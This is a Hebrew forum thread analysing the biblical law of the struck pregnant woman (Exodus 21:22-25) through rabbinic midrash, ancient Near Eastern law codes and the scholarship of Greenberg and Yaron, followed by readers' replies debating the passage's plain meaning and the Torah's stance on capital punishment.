| נשלח ב-5/9/2016 16:30 |
|
| |
נפש תחת נפש – הפילוסופיה של משפטי התורה
בפרשת משפטים יש לנו דינים רבים, אבל אין לנו מבנה שיטתי של מערכת משפטית. חז"ל פיתחו את הדינים המופיעים בפסוקים, אם כי גם אצלם יש מחלוקות רבות. כיצד יש ללמוד את הפרשה? ניתן להבחין בכמה גישות. א. הגישה המסורתית, הישיבתית. לפי גישה זו, אנו הולכים בעקבות חז"ל. זו גישה סבירה ומתבקשת, אבל היא מעוררת איזו ספקנות כאשר נתקלים בפער בין מה שנראה כ"פשט" הפסוקים לבין הפרשנות של חז"ל. מתבקש לומר, כפי שאמרו הפרשנים הראשונים, "אם קבלה (מסורת) היא – נקבל, ואם לדין (אם להוכחות ולפרכות) – יש תשובה (יש להציע נימוקי נגד). ב. הגישה המחקרית של המבקרים. אני מזכיר זאת רק למען שלימות הסקירה. רחוק ממני לשאת ולסבול את אלו שקודם כל גוזרים את התורה שבכתב לגזירים, ואז מפרשים אותה לפי הצעות שאינן יותר מאשר הצעות, ולעתים פחות מזה. עם זאת, בין החוקרים ניתן למצוא גם דברים שאפשר ללמוד מהם וכמה אני חושש לכתוב את המשפט הזה כי מי יודע לאן יקחו אותו... ג. הפשט העמוק. זה נשמע ביטוי יפה. כוונתי לעיין בפסוקים או בפרשה, תוך שימוש בכלים המחקריים שיכולים לשרת אותנו: בתחום המשפטי, נוכל להעזר גם בידיעות ובהנחות מתחום מדעי החברה והמשפט, וגם בעיון משווה לחקיקות אחרות בתרבויות סמוכות, אם גם סמיכות זו אינה כה קרובה כפי שהיא נראית מנקודת מבטנו היום (צריך להאריך ולהסביר לגבי המרחק ושינוי הזמן בין תרבויות. בספר הופכים דפים או קוראים שורות רציפות. למעשה מדובר במרחק של מאות או אלפי ק"מ, ריחוק של מאות שנים או יותר, וחוסר קשר מוכר בין תרבות לתרבות). ולא רק המרחק מעורר שאלה, אלא העקרון: האם אפשר לנו לצפות שתרבות מושפעת מתרבות? מה ניתן ללמוד מתרבות לחברתה? ד. מה שאני מציע הוא להשוות בזהירות ולא מתוך מחוייבות לחשוב שהתורה מעתיקה דינים אלא יותר באופן של הכרת הרקע, שמתוכו מתבהרים השוני והייחודיות של תורתנו. (ואני כותב את המשפט הזה בגאווה מוצדקת, לדעתי). הנושא הנידון כאן הוא הפגיעה באשה הרה והדינים העולים. השאלות המעניינות אותי הן: מה קרה באירוע המתואר בפרשה זו? (היכי דמי). מה הדינים שהתורה מטילה? מה אנו עשויים ללמוד לגבי מה שאני מכנה "הפילוסופיה של המשפט של התורה" (בעקבות משה גרינברג)? אני מתכנן לחלק את הדיון באופן הבא: הפרשה לעיון והשאלות המתעוררות. פירושי חז"ל (על פי המכילתא). השוואה לחוקי תרבויות סמוכות. תרומת המחקר (ע"פ משה גרינברג וראובן ירון). מסקנות – בסוף. כמובן, אפשר לדלג ישר למסקנות ולחסוך את כל הקריאה.
 |
|
|
|
|
| נשלח ב-5/9/2016 16:31 |
|
| |
הפרשה לעיון (כב) וְכִי יִנָּצוּ אֲנָשִׁים וְנָגְפוּ אִשָּׁה הָרָה וְיָצְאוּ יְלָדֶיהָ וְלֹא יִהְיֶה אָסוֹן עָנוֹשׁ יֵעָנֵשׁ כַּאֲשֶׁר יָשִׁית עָלָיו בַּעַל הָאִשָּׁה וְנָתַן בִּפְלִלִים: (כג) וְאִם אָסוֹן יִהְיֶה וְנָתַתָּה נֶפֶשׁ תַּחַת נָפֶשׁ: (כד) עַיִן תַּחַת עַיִן שֵׁן תַּחַת שֵׁן יָד תַּחַת יָד רֶגֶל תַּחַת רָגֶל: (כה) כְּוִיָּה תַּחַת כְּוִיָּה פֶּצַע תַּחַת פָּצַע חַבּוּרָה תַּחַת חַבּוּרָה: (פרשת משפטים) הפרשה שלפנינו מציגה אירוע המתפצל לאירועי משנה אפשריים וקובעת דין בכל אחד מהם. כי אנשים יינצו – זה מתחיל במריבה עם "שליחת ידים". ונגפו אשה הרה – כלומר, האנשים הניצים חבטו ופגעו באשה בהריון. לא נקבע כאן גיל ההריון. השאלה הזו תוצג לקמן בהרחבה. המונח "נגפו" ראוי לבדיקה השוואתית בשאר מקומות בפרשת משפטים ובתורה בכלל. ברור שהמונח מציין מכה, אבל שאלה משמעותית מאד היא אם יש כאן מכה מכוונת, כלפי האשה או כלפי אדם כלשהו. מופעים אחרים של השורש הם לגבי שור הנוגף שור בפרשת משפטים, אך גם "נוגף את כל גבולך בצפרדעים" שה' מאיים על פרעה (שמות "וארא" ז כז), "וְלֹא יִתֵּן הַמַּשְׁחִית לָבֹא אֶל בָּתֵּיכֶם לִנְגֹּף" (שמות "בא" יב כג), ועוד הרבה. יתכן שהשורש ציין תחילה מכה ואחר כך שינה את משמעותו לכל פגיעה, גם חיצונית. עם זאת, דומה שבדוגמאות רבות מדובר בפגיעה מכוונת. אבל חז"ל בוודאי לא פירשו כאן דווקא פגיעה מכוונת אלא להפך, מקרית ביחס לאשה הנפגעת. וְיָצְאוּ יְלָדֶיהָ – הפלה. וְלֹא יִהְיֶה אָסוֹן – מה בא הקטע הזה לשלול? הרי העובר כבר נפל ומת. מסתבר שמדובר אם כן שהאשה נשארה בחיים. אסון – מות האשה. עָנוֹשׁ יֵעָנֵשׁ – סביר שמדובר כאן בעונש כספי. להשוואה: פרשת מוציא שם רע על נערה שכביכול זינתה. הבעל לוקה מלקות ומשלם קנס. וְעָנְשׁוּ אֹתוֹ מֵאָה כֶסֶף (דברים, "כי תצא", כב יח-יט). במלכים ב כג לג מטיל פרעה נכה קנס על הארץ בזהב ובכסף, וגודל הקנס נאמר במפורש. כַּאֲשֶׁר יָשִׁית עָלָיו בַּעַל הָאִשָּׁה – ראשית, הבעל הוא זה שמקבל את התשלום. שנית, הוא גם יכול לקבוע את הסכום. זו תופעה חריגה. אבל ראו בקטע הבא. וְנָתַן בִּפְלִלִים – חז"ל פירשו שהנתינה היא על פי בית דין. מדוע אם כן נשמעות טענות הבעל? אפשר שבית הדין קובע תשלומים שונים לפי הנתונים של האירוע וחומרתו. עוד בנושא זה לקמן. (כג) וְאִם אָסוֹן יִהְיֶה וְנָתַתָּה נֶפֶשׁ תַּחַת נָפֶשׁ – חז"ל ומפרשים רבים, גם בין החוקרים, ביארו שהכוונה שהאשה מתה ואז יש דין רוצח על המכה. וממילא אין לו תשלומים (כד) עַיִן תַּחַת עַיִן שֵׁן תַּחַת שֵׁן יָד תַּחַת יָד רֶגֶל תַּחַת רָגֶל – עלינו לפרש שאם האסון לא היה מות האשה אלא רק פגיעה שהפכה אותה לבעלת מום, חל כאן הדין של "עין תחת עין" ולפי פירוש חז"ל דהיינו ממון. (זה נושא מעניין אבל לא אעסוק בו כאן).
 |
|
|
|
|
| נשלח ב-5/9/2016 16:32 |
|
| |
פרשנות חז"ל מבין הפרשנויות והדרשנויות השונות אני מביא רק מבחר שנוגע לנושא כאן. הדברים לקוחים מתוך מכילתא דרבי ישמעאל בפרשת משפטים (מסכתא דנזיקין פרשה ח). אי אפשר לראות בציטוטים אלו סיכום מלא של כל הפרשנויות שמצויות בחז"ל אלא רק מדגם. ולא יהיה אסון, באשה, ענוש יענש, בולדות; אתה אומר כן - או אינו אלא אסון בולדות וענוש באשה, תלמוד לומר ואם אסון יהיה, הא מה תלמוד לומר לא יהיה אסון, באשה, ענש יענש, בולדות או - לא יהיה אסון לא באשה ולא בוולדות, אלא אם אמרת כן, אף הוא צריך ליתן שכר חיה; הא מה תלמוד לומר לא יהיה אסון, באשה, ענוש יענש, בוולדות. הקטע הזה בודק במה היתה הפגיעה באירועים הנזכרים כאן. המילים "ענוש יענש" מתייחסות למקרה בו מתו הולדות ואילו המקרה של "יהיה אסון" מדבר אם כן לע האשה. גם העונש "ענוש ייענש" הוא על הפלת הולדות, כיון שהטלת העונש מופיעה בסמיכות להפלת הולדות והאסון של מות האשה מופיע רק לאחר מכן. השאלה האחרונה של חכמינו מציעה את האפשרות ש"לא יהיה אסון" מדבר על אירוע אחר, ושוללת אותו (למרות שההנמקה לא ברורה לי). חז"ל אם כן מקבלים את התמונה של שני אירועים שהצגתי לעיל, המקרה הראשון הוא מות הולד(ות) והשני – מות המעוברת. - ענוש יענש, ממון. אתה אומר ממון, או אינו אלא מיתה, הרי אתה דן, נאמר כאן ענוש ונאמר להלן +דברים כב יט+ וענשו אותו, מה להלן ממון, אף כאן ממון. זו חויה מחמיאה לגלות שחז"ל השתמשו באותה דרך שלנו, קריאה משווה, כדי להסיק שענישה זו אצלנו היא בממון. כאשר ישית עליו בעל האשה. בא ללמדך הכתוב שחבל אשה לבעל ודמי וולדות לבעל וכל המחויב מיתה פטור מן התשלומין. לפי הפירוש כאן, איזכור הבעל בא ללמד כללים נוספים: התשלומים לבעל. גם דמי הוולדות וגם נזקה של האשה למרות שעל הראיה האחרונה בוודאי אפשר לדון. הרי "כאשר ישית" נאמר על המקרה הראשון ולא השני. כמו כן מדייקים כאן חכמינו שאם יש מיתה אין תשלומין, ובנושא הזה אדון לקמן בפרק על הפילוסופיה של המשפט התורני. ואם אסון יהיה. אין אסון אלא מיתה, ואף על פי שאין ראיה לדבר זכר לדבר, (בראשית מב לח) וקראהו אסון. – גם כאן לפנינו קריאה המסתמכת על התוכן ועל השוואה למקום אחר. יהיה קשה מאד לומר שאין זה הפשט בפסוקים. ונתת נפש תחת נפש, נפש תחת נפש הוא משלם ואינו משלם ממון תחת נפש – העיקרון הזה כבר נלמד במקום אחר, שאין לקחת כופר לרוצח. אך האם מדובר כאן ברוצח בכוונה או בשגגה? הדברים מתאימים לשיטה התנאית ש"התכוון להרוג את זה והרג את זה חייב". [ד"א (דבר אחר, כלומר פירוש אחר) ונתת נפש תחת נפש, נפש הוא משלם ואינו משלם נפש וממון תחת נפש] – אין משלמים ממון במקרה של עונש מוות. רבי אומר, ונתת נפש תחת נפש, ממון; אתה אומר ממון או אינו אלא מיתה, הרי אתה דן, נאמר כאן השיתה ונאמר להלן השיתה, מה להלן ממון, אף כאן ממון – שיטת רבי קשה בעיני. אפשר שרבי סובר שמדובר כאן בהורג בשגגה, ואז אפשר שהוא סובר שמי שהתכוון להרוג את זה והרג את זה פטור ממוות ולכן חייב ממון, או שמדובר שכלל לא התכוון להרוג, ולכן חייב לשלם. (יש להאריך בדבר זה כי זה נגד הכלל המפורסם של "קים ליה בדרבה מיניה" (נענש רק בעונש החמור, מה שפוטר אותו גם כאשר אין עונש חמור בפועל) אבל נניח לנושא המרתק הזה... בכל אופן, יהיה קשה לפרש שמדובר כאן בהריגה ללא שום כוונה להרוג שום אדם, כי נצטרך להשוות בין המקרה שלנו למקרה של רוצח בשגגה הבא ביער (ואם גם כאן יש רקע של קרוב לפשיעה, דומה שהאבחנות האלו מאוחרות בהרבה). עין תחת עין, ממון – בהמשך מובאות ראיות רבות אבל, שוב, אני מתעלם מן הנושא הזה ואזכיר אותו רק בתוך הדיון על הפילוסופיה של המשפט התורני. מה למדנו? למדנו שחז"ל פירשו בדומה לנו. ששני אנשים רבו, שאשה בהריון נפגעה, ועכשו זה מתחלק לשני מקרים. באחד התינוק מת ואז משלמים כסף. כיצד מחושב התשלום – זה תלוי בפירוש הפסוק וחז"ל פירשו שבית הדין קובעים את התשלום ולא הבעל. בשני האשה מתה ואז אין תשלום אלא נפש תחת נפש. לעומת זאת המקרה השלישי הוא שהאשה נפגעה והפכה לבעלת מום, ואז יש תשלום ממון.
 |
|
|
|
|
| נשלח ב-5/9/2016 16:32 |
|
| |
השוואה לתרבויות סמוכות עד כמה ניתן ללמוד מהשוואה לחוקים אחרים? האם זה בכלל אמור לעניין אותנו? אני סבור שכן, ואני מבקש לנמק. המעיין במחקרים יתרשם שהנחת היסוד של רובם או כולם היא שמי שכתב את התורה הכיר את החוקים הללו ואימץ אותם בשינויים. איני שותף לגישה זו. אני כן סבור שיתכן שגישות כאלו הניתנות לזיהוי בחוקי המזרח הקדום מלמדות אותנו גם על הגישה בתרבויות של התקופה (להבדיל למשל משלנו) או אולי על התייחסות אנושית, פסיכולוגית ומוסרית, הטבועה באדם באשר הוא אדם. איני בא לטעון שחוקים אלו משקפים מוסר טבעי. אני כן סבור שחוקים משקפים גם צורך בתועלת חברתית, כמו שמירת היציבות, פיצוי כלכלי ועוד. אך בהיותם כאלו, הם משקפים את הצרכים האנושיים, הפסיכולוגיים והחברתיים, ולכן הם מספקים לנו תמונה של "איך בני אדם מסתכלים על אירועים כאלו". לאחר שאנו מכירים את האופנים השונים שרווחו בהתייחס למצבי מצוקה ופגיעה ניתן יותר להעריך את התרומה של התורה, את האופן שבו התורה עיצבה מחדש את ההתייחסות הראויה. עכשו אפשר להתחיל. בחוקי שומר העתיקה יש קנס על נגיפת אשה הרה, כאשר התשלום גדל אם זה במזיד. מעניין שגם שם הביטוי הוא "ילדיה" בלשון רבים. בחוקי אשור יש עונש כספי על הילדים, אבל שם יש גם מכות בשבט וגם "עבודת המלך" לחודש ימים. החוק החיתי מעניק תשלום שהולך וגדל לפי גיל העובר. בין ירח חמישי לעשירי. אצל חמורבי נידון גם המקרה של הריגת האשה. אם האשה מתה, תומת בתו של המכה. גישה כזו לעולם אינה נמצאת בתורתנו אלא בציטוט של למך. במקרים של הריגה שאינה של מעוברת, נקבע בדרך כלל עונש כספי להורג. לקמן נעמוד על כך שהתורה קובעת שלרציחה אין כפרה ואין פדיון אלא יומת הרוצח.
 |
|
|
|
|
| נשלח ב-5/9/2016 16:33 |
|
| |
תרומת המחקר: גישות פילוסופיות שונות משה גרינברג היה פרופסור למקרא. עליו אפשר לקרוא כאן: https://he.wikipedia.org/wiki/%D7%9E%D7%A9%D7%94_%D7%92%D7%A8%D7%99%D7%A0%D7%91%D7%A8%D7%92 במספר מאמרים הצביע גרינברג על כיוון מחשבה ומחקר. לבדוק מה התפיסה הפילוסופית שעומדת מאחורי חוקים. עוד לפניו ניסו להשוות בין חוקי המזרח הקדום לבין חוקי התורה, ויש שניסו לדרג מה מהחוקים הללו "מתקדם" יותר – לפי דגם התפתחותי שאמור לשקף מהי התקדמות. למשל, גמישות ודחית עונש מוות או מידה כנגד מידה נחשבים כנראה למתוחכמים יותר. לפי זה, עולה השאלה מדוע התורה מחמירה ומטילה עונש מוות על הרוצח. במיוחד כאשר העונש לגזלן ולגנב הוא קטן מאד, ואצל הגזלן די בהשבת הגזילה, בניגוד למתרחש במזרח הקדום. שם העונשים על פגיעה כלכלית קשים בהרבה. גרינברג, במספר מאמרים (כגון "ערך האדם במקרא" בתוך "על המקרא ועל היהדות", תל אביב תשמו), הציע את ההסבר הבא: התורה מחשיבה את חיי האדם לערך שאין לו תמורה. אחת ההשלכות היא האיסור על פדיון רוצח והחובה להמיתו. ויש דוגמאות נוספות מתחומים שונים. הווה אומר: החומרה היתרה עם הרוצח נובעת לא מפיגור בהתפתחות מוסרית אלא אדרבה, מתוך יקר הערך של האדם וחייו. כדאי כאן להוסיף שגרינברג טוען, לדעתי בצדק, כי כאשר חכמינו ביטלו את האפשרות הריאלית לעונש מוות מתוך הצגת דרישות קשות לפני שניתן לקיימו, הם בעצם קיימו את המסר של התורה, להחשיב את חיי האדם, ובמקרה זה גם את חיי הרוצח. הבאתי את הרעיון של גרינברג גם בגלל הערכתי הרבה אליו. אבל גם בגלל סוג המחקר שהוא פותח. כאשר לפנינו קביעות משפטיות עלינו לשאול מהי התפיסה ההגותית, הפילוסופית, ואולי תפיסות נוספות (סוציולוגיות, כלכליות אפילו) שעומדות ביסודן. איך יש ליישם את הקו הזה בנידון הפרשיות שלנו? ובכן, לתינוקות שטרם נולדו יש ערך כספי ולפי זה משלם החובל. מכאן נראה שלעובר אין ממש חשיבות של אדם, בהתאם לפרשנות של גרינברג. יש לדיון כזה השלכות חשובות לענין ההלכות הנוגעות בעובר, אם כי כמובן פרשנות מקראית נותנת רקע וערכים ולא הלכות מעשיות.
 |
|
|
|
|
|
| נשלח ב-5/9/2016 16:34 |
|
| |
תרומת המחקר: ואם יהיה אסון לפי הקריאה שהוצעה כאן, הפרשה שלנו עוסקת בשנים או שלושה מקרים. אבדן הולדות. מות האשה, וכהמשך גם נתינת מום באשה. לפי קריאה זו, האמירה "אם יהיה אסון" יש לפרש את המילה "אסון" כ"מוות". הרשו לי להוסיף פרשנות מקורית ובעיני מעניינת מאד, של פרופסור ראובן ירון. (קראו עליו ב: https://he.wikipedia.org/wiki/%D7%A8%D7%90%D7%95%D7%91%D7%9F_%D7%99%D7%A8%D7%95%D7%9F ) בספר "החיים מהות וערך" (מאגנס תשנ"א) מופיע מאמר מעניין של ירון, "העובר במקרא ובחוקי המזרח הקדום". המאמר כתוב בסגנון של איש המדבר אל רעהו, פחות מדעי ויותר נעים. הוא סוקר את המחקר הקיים, ולא אחזור אחריו. אבל אציין מה שמוביל לתגלית שלו. המונח "אסון" שכיח מאד בעברית ומשמעותו מוכרת לכולנו. "אסון" הוא אירוע קשה ומר, פחות מאשר "קטסטרופה" (לא נוח לי להשתמש כאן במילה "שואה" להשוואה). אבל המילה הזו נדירה במקרא. היא מופיעה רק בשני מקומות. כאן, פעמיים, "ולא יהיה אסון" לעומת "ואם אסון יהיה". אבל הבה נתחיל מוקדם יותר, בבדיקת הביטוי "נפש תחת נפש". זו בדרך כלל תביעה כבדה וקשה, למעשה עונש מוות. אבל אפשר שהכונה היא לתמורה מלאה, מידה כנגד מידה (מה שנקרא TALIO אצל חוקרי המזרח הקדום). לפי זה, "נפש תחת נפש" באדם זה עונש מוות ללא אפשרות של פדיון. אבל בהורג בהמה, "מכה נפש בהמה ישלמנה" וגם על זה נאמר "נפש תחת נפש" במובן של "מתן בהמה בתמורה לבהמה שנהרגה" (ויקרא כד 16-21, ירון שם עמ' 83). במלכים א כ מסופר כי אחאב כורת ברית לבן הדד, ושולח אותו. על זה מובטח לו עונש. "נפשך תחת נפשו". הביטוי מופיע במשל שחד לו הנביא על מי שלא שמר כיאות על שבוי אבל הוא מיושם לגבי אחאב. לא היה שם חטא של רצח ובכל זאת ייתבע שם מחיר כבד. אבל, מסיק ירון שם, אין בכך לפשוט את הספקות של הפרשה שלנו. בתרגום השבעים, שאינו נלמד בדרך כלל בישיבות (לשון המעטה...) יש פירוש אחר לאסון: מות עובר "אשר צורתו שלמה". זה דומה לחילוק שמצאנו בחוק החיתי. גם פילון (על החוקים המיוחדים, 3.108, על פי הדיון אצל ירון בפילון) מציע הסבר דומה. "מי שפגע בוולד 'השלם' ימות. ועתה מציע ירון את הפרשנות המחודשת שלו. הוא מודה מראש שזו רק אפשרות, ובכל זאת, זו אפשרות מרתקת. נבחן את השימוש המקביל. מדוע על מות יוסף אין יעקב מתאבל כעל "אסון" אבל המונח הזה שמור לסכנה לבנימין? נרמוז: בחוקי אשור מצא ירון (ואני לא מצאתי עדיין) שיש עונש מוות להפלת ולד זכר, אם לבעל האשה שנפגעה אין בן זכר אחר! (ירון, עמ' 90). גם לאחר שנעלם יוסף, גם לאחר שיעקב האמין כנראה שיוסף מת, עדיין נותר לו בן אהוב מרחל (שאר הבנים היו פחות חשובים כנראה בעיניו. לא בלתי חשובים, אבל פחות חשובים. ללב רצונות משלו). האסון שממנו חושש יעקב אם כן הוא אבדן הבן האחרון שנותר לו מאשתו אהובתו, רחל. לפי זה, ה"אסון" במקביל בפרשתנו הוא אבדן של הולד אם היה זה בן (שלם, לפני לידה?) ויחיד לאביו. זה מחייב עונש גדול יותר. מה עלינו לומר על האפשרות הזו? הנה כמה השגות: א. האם הפרשה שלנו מתייחסת רק לדין של הפגיעה בעוברים ולעולם לא למי שפגע בחיי האשה? אולי כן. הרי דין הפוגע באשה כפוגע בכל אדם אחר והוא מובא במקום אחר. ב. האם "נפש תחת נפש" מציע עונש מוות על מי שהרג עובר קרוב ללידה שהיה בן יחיד? ג. בהמשך לסעיף הקודם, האם התורה תחמיר בעונש מוות על מי שלא הרג אדם חי אלא רק עובר לפני לידה, גם אם קרוב מאד ללידה? ד. והאם דין הרוצח ישתנה אם הרג "ילד יקר"? אפשר לראות שפירוש זה אינו עולה בקנה אחד עם התפיסה שהציע גרינברג. אבל האם יתכן שהתורה כאן מתחשבת ברגישות מיוחדת של הנפגעים? שוב, הדברים קשים. יש לציין כי ירון עצמו מזהה קשיים בפירושו ומדגיש שזו רק אפשרות ואין לצפות ליותר מזה. אני מסכים. ובכל זאת, יש משהו יפה וקסום בהסבר הזה שלו, והרי זה כעין החן, התחושה האסתטית, שמלווה לעתים את התגלית ומצביעה לפנינו על כך שנמצא ההסבר הנכון.
 |
|
|
|
|
| נשלח ב-5/9/2016 16:34 |
|
| |
מסקנות הפרשה מציגה שנים או שלושה אירועים. אבדן ולדות. "אסון" שעשוי להיות מות האשה. ופגיעה באשה שגורמת לה מום. במקרה הראשון משלם החובל כסף, והחריג כאן הוא שהבעל תובע מחיר אם גם צריך הסכמה של בית הדין לכך. במקרה השני, יש חזרה על הכלל של הריגת הרוצח, אם כי המקרה שלפנינו הוא חריג (נגיפה במובן של הריגה שלא בכוונה כלפי הנהרגת). במקרה השלישי של הטלת מום, ישולם מחיר המום לפי פרשנות חז"ל ויש הצדקות טובות לגישה זו שלא עסקנו בה כאן. הוצגה כאן שיטתו של משה גרינברג, שהזכיר לנו שלכל קביעה משפטית יש פילוסופיה. והדגמנו, בעקבותיו, את ההסבר הפילוסופי. וביקשתי ללמוד מכאן את החשיבות של העיון אחרי מה שאפשר לקרוא לו "הפילוסופיה של התורה" בכלל ובפרשיות משפטים בפרט. והובאה כאן גם פרשנותו המקורית של ירון למקרה השני בפרשה, "אסון". תוכלו לשאול מדוע. הרי מדובר בפרשנות אפשרית ולא מוכרחת. אולי כדאי שתראו בכך נסיון שלי להעניק לכם מתנה. אני נהניתי מן הפרשנות ומן הגישה. אני מקוה שגם אתם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-7/9/2016 12:32 |
|
| |
לפרו' ירון חייבים לומר שילדיה פירושו בנים זכרים ולא בנות אף שבמשמעות סתמית הפרשנות יכולה לכלול זכריםו/או נקבות הערה כללית - מן הססתם כשם שהתורה התגמשה על קרבנות (לרמב"ם) בגלל מנטליות של העם כך יכלה להתגמש על הלכות מקובלות באזור
|
|
|
|
| נשלח ב-7/9/2016 17:27 |
|
| |
הנושא של הפילוסופיה של המשפט הוא באמת מעניין, אם כי אין לי כרגע משהו מיוחד לומר עליו. אבל הואיל וגם אתה, מיימוני, נתת מקום לדיון בפשט הפרשה, אעשה כן גם אני ואדון תחילה בפשט ומתוך כך אראה מה אפשר לומר לעניין הפילוסופיה, ובכך אלך בדרכך, גם אם אין לי איזו פילוסופיה מיוחדת בעניין.
א. גם אני מאמין בהלכות של חז"ל, וגם אני מאמין שצריך לדרוש אחר הפשט הפשוט.
הפשט לדעתי בפרשה הוא: "אסון" - בוולדות. וכך נקראת הפרשה: "ויצאו ילדיה" -בעודם בחיים - "ולא יהיה אסון" - על כל פנים "ענוש יענש" בקנס כספי ע"י ב"ד כאשר ישית עליו בעל האישה. "ואם אסון יהיה" - בוולדות - אז "ונתת נפש תחת נפש" וכו'. וכך הדברים נקראים מבוארים ואין בהם נפתל ועיקש, וגם הסגנון יפה וחלק.
ב. המכילתא מעלה אפשרות שה"ולא יהיה אסון" הכוונה לא אסון בוולדות ולא באישה, וכוונתה שה"ענוש יענש" הוא עונש במקרה שהאישה קיבלה צירי לידה כתוצאה מהמכה, ולפיכך דוחה המכילתא אפשרות זו, שהרי אם זה המצב, במקום או בנוסף להענשה בקנס צריך לחייב את המכה בתשלומי שכר המיילדת שצריך להזמין בגללו (וזה מ"ש שם "אף הוא צריך ליתן שכר חיה").
ג. אני מבין שאכן הפשט הוא שמדובר כאן בהורג בשגגה, הרי זה המדובר: "וכי ינצו אנשים ונגפו אישה הרה" - לא יריב איש עם אישה הרה, שזה מקרה לא סביר (כי אין דרך אישה הרה להיכנס לריב, ואם היא לא נכנסה לריב זה לא נקרא "וכי ינצו", אלא סתם "וכי יכה"), אלא מדובר במקרה ששני אנשים התכוונו להכות זה את זה "סתם" מכות, ("סתם" לאפוקי מכות מוות או כאלו שעלולות לגרום הטלת מום), ובטעות, תוך כדי - גם "ונגפו אישה הרה". וכך אכן משמע מדברי רבי בד"ה "וכי ינצו" הראשון קישור. וייתכן גם שרבי לית ליה דתד"ח שחייבי מיתות שוגגין פטורין מן התשלומין.
ועם זאת זה שונה מהמקרה של "ונדחה ידו בגרזן" - ששם כוונתו למעשה מותר, וכאן כוונתו למעשה אסור - להכות את חברו, גם אם אין בכוונתו לגרום נזק ממשי.
ד. לאור ההשוואה ל"ומכה נפש בהמה ישלמנה נפש תחת נפש" - הכוונה נפש בהמה חיה תחת נפש הבהמה המתה, ניתן לפרש גם כאן: "נפש תחת נפש" - עבדות, שיימכר המכה לעבדות לניזוקים, ובמכרוהו ב"ד הכתוב מדבר.
ה. לפי האמור יוצא שאכן לפי הפשט הגורם להפלה כפויה מתחייב מיתה (או אולי עבדות), ואם העובר רק ניזוק באחד מאבריו אז ממון ("עין תחת עין"), וגם אני איני יורד לפרטי שאלת הברירה שבפרטים אלו.
והנראה לעניות דעתי כתבתי.
 |
|
|
|
|
| נשלח ב-7/9/2016 20:24 |
|
| |
ולמה הפירוש הזה של אליקים הוא רק לשעשוע מפני שהמשך הפסוק הוא שן תחת שן וככל הידוע לעובר אין שיניים ואולי בימים הקדמונים היה שונה טרם ביררתי
|
|
|
|
| נשלח ב-7/9/2016 20:30 |
|
| |
"כדאי כאן להוסיף שגרינברג טוען, לדעתי בצדק, כי כאשר חכמינו ביטלו את האפשרות הריאלית לעונש מוות מתוך הצגת דרישות קשות לפני שניתן לקיימו, הם בעצם קיימו את המסר של התורה, להחשיב את חיי האדם, ובמקרה זה גם את חיי הרוצח."
חז"ל קיימו את המסר של התורה כאשר ביטלו את האפשרות של עונש מוות? מהו המסר של התורה? מאות חטאים שעונשם מוות שלא להזכיר את בן סורר ומורה. חז"ל פעלו בניגוד למסר העולה מן התורה.
|
|
|
|
| נשלח ב-7/9/2016 20:39 |
|
| |
כוונתו שרוח התורה בעיקרון בעד החיים אלא שהתגמשה עם מוסכמות המקובלות כדברי הרמב"ם על קרבנות ובהתאם ניתן לומר שביטול עבודת המקדש היא קיום המסר של התורה (של הרמב"ם למרות שאין לה זכר בתורה).
|
|
|
|
| נשלח ב-8/9/2016 13:51 |
|
| |
בו"ל א. אני שמח שאתה משתעשע ב. "שן תחת שן" יכול להיות רק בשיטפא דלישנא. ג. וזה העיקר - החלק של "ואם אסון יהיה" יכול להיות נסוב גם על העובר וגם על האישה עצמה.
|
|
|
|
| נשלח ב-8/9/2016 14:46 |
|
| |
התורה ניתנה בכפיית הר כגיגית לעם של עבדים משוחררים במעמד מרשים .הם היו מקבלים כל דבר. כל התורה רצופה בענשי מוות על חטאים . אנשים מתו במגפות על חטאים במדבר .בן סורר ענשו מוות. האם זה בגלל מוסכמות מקובלות? עונש מוות בתורה על מקושש עצים ביום השבת היה רק בגלל מוסכמות המקובלות? הקריאה בתורה לא נותנת רושם של כבוד לחיים. להפך.
|
|
|
|
| נשלח ב-8/9/2016 16:58 |
|
| |
תלמיד, בער ואפרים
אני משער שזו הכוונה: הרמב"ם כותב שאי אפשר לצפות מאדם או מציבור שהתרגל לאורח חיים ולאורח חשיבה מסויימים שישתנה מן הקצה אל הקצה בבת אחת. לכן ה' לא לקח את עם ישראל היוצא ממצרים דרך ארץ פלשתים.
זו גם הסיבה מדוע ה' לא אסר את העבדות. זו היתה דרישה בלתי אפשרית מבני התרבות והכלכלה של הימים ההם.
באופן זה אנו עשויים לבאר דינים של התורה שנראים לנו קיצוניים מדי והיינו מצפים לגישה, נניח, יותר הומאניסטית. יותר מתחשבת, פחות מאיימת ומענישה.
אם זו השאלה אז באמת כך אני סבור. זאת באופן עקרוני. בפועל יש לבדוק כל נושא ונושא.
משל לדבר: בהשוואה לעמים שבהם נהוג היה לשחוט את הבן למען האליל, עם שמסתפק בשחיטת בהמה הרי זו התקדמות גדולה. אם בדור אחר אומר אחד הנביאים כי "שמוע מזבח טוב" הרי זו התקדמות נוספת.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-8/9/2016 17:59 |
|
| |
| מיימוני כתב: |  | תלמיד, בער ואפרים
אני משער שזו הכוונה: הרמב"ם כותב שאי אפשר לצפות מאדם או מציבור שהתרגל לאורח חיים ולאורח חשיבה מסויימים שישתנה מן הקצה אל הקצה בבת אחת. לכן ה' לא לקח את עם ישראל היוצא ממצרים דרך ארץ פלשתים.
"ויהי בשלח פרעה את העם, ולא נחם אלקים דרך ארץ פלשתים, כי קרוב הוא, כי אמר אלקים: פן ינחם העם בראתם מלחמה ושבו מצרימה"
זו גם הסיבה מדוע ה' לא אסר את העבדות. זו היתה דרישה בלתי אפשרית מבני התרבות והכלכלה של הימים ההם.
העבדות קשורה לנושא של יחס למוות של אדם? זה לא קשור לנושא.
באופן זה אנו עשויים לבאר דינים של התורה שנראים לנו קיצוניים מדי והיינו מצפים לגישה, נניח, יותר הומאניסטית. יותר מתחשבת, פחות מאיימת ומענישה.
כל נושא ונושא?אתה מכניס נושא שלא שייך למוות (נושא של עבדות) ואתה לא מתייחס למאות עונשי מוות אפילו של בן (סורר ומורה.)
אם זו השאלה אז באמת כך אני סבור. זאת באופן עקרוני. בפועל יש לבדוק כל נושא ונושא.
צריך לבדוק?הרי זה ברור שיש מאות עונשי מוות על חטאים,עונשי מגפה על חלקים רבים מהעם , ועוד ועוד ממש אי אפשר למנות.
